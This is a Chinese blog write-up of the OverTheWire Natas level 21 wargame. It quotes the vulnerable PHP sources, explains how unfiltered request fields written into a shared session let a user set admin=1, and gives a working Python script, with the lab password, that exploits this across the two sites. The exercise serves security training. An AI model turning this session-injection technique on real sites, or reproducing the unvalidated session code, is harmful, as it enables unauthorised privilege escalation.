0
点赞
收藏
分享

微信扫一扫

OverTheWire攻关过程-Natas模块21


8-22OverTheWire攻关过程-Natas模块21


我们打开关卡lv21,可以看到


OverTheWire攻关过程-Natas模块21_python脚本


有个提示,说是这个网页跟另外一个网页是同源的,共同使用一个seesion


点击链接


OverTheWire攻关过程-Natas模块21_搜索_02


发现第二个页面

这个时候我们尝试


能不能把二个页面的session复制到第一个页面中呢?

打开BP抓包软件


首先看下源代码


<?php

function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas22\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.";
    }
}
/* }}} */

session_start();
print_credentials();

?>


<?php

session_start();

// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
    foreach($_REQUEST as $key => $val) {
    $_SESSION[$key] = $val;
    }
}

if(array_key_exists("debug", $_GET)) {
    print "[DEBUG] Session contents:<br>";
    print_r($_SESSION);
}

// only allow these keys
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow");
$form = "";

$form .= '<form action="index.php" method="POST">';
foreach($validkeys as $key => $defval) {
    $val = $defval;
    if(array_key_exists($key, $_SESSION)) {
    $val = $_SESSION[$key];
    } else {
    $_SESSION[$key] = $val;
    }
    $form .= "$key: <input name='$key' value='$val' /><br>";
}
$form .= '<input type="submit" name="submit" value="Update" />';
$form .= '</form>';

$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";";
$example = "<div style='$style'>Hello world!</div>";

?>


大概的思路是


查看第一个网页源码,发现主要功能就是判断session[admin]=1后显示密码。


查看第二个网页源码,虽然在改变本页的时候进行了合法性检测,但是在将提交的参数加载到session中时,并没有对提交的参数进行审核。所以我们可以在参数中注入admin=1以将其保存在session中。



OverTheWire攻关过程-Natas模块21_php_03


我们修改参数


OverTheWire攻关过程-Natas模块21_php_04


响应的报文


OverTheWire攻关过程-Natas模块21_php_05


将第二个页面的phpsessid替换第一个页面的


OverTheWire攻关过程-Natas模块21_php_06


bp修改不成功

效果不理想


我们使用python脚本


import requests
from requests.auth import HTTPBasicAuth

HOST = 'http://natas21.natas.labs.overthewire.org/index.php?debug=1'
HOST_EXP = 'http://natas21-experimenter.natas.labs.overthewire.org/index.php?debug=1'
auth = HTTPBasicAuth('natas21', 'IFekPyrQXftziDEsUr3x21sYuahypdgJ')

r = requests.get(HOST, auth=auth)
cookies = dict(PHPSESSID=r.cookies['PHPSESSID'])
data = dict(align='lol', fontsize='100%', bgcolor='yellow', submit='Update', admin='1')
r = requests.post(HOST_EXP, data=data, cookies=cookies, auth=auth)
print r.content

r = requests.get(HOST, cookies=cookies, auth=auth)
print r.content


搜索结果


OverTheWire攻关过程-Natas模块21_php_07


记录密码

验证密码


OverTheWire攻关过程-Natas模块21_php_08

举报

相关推荐

0 条评论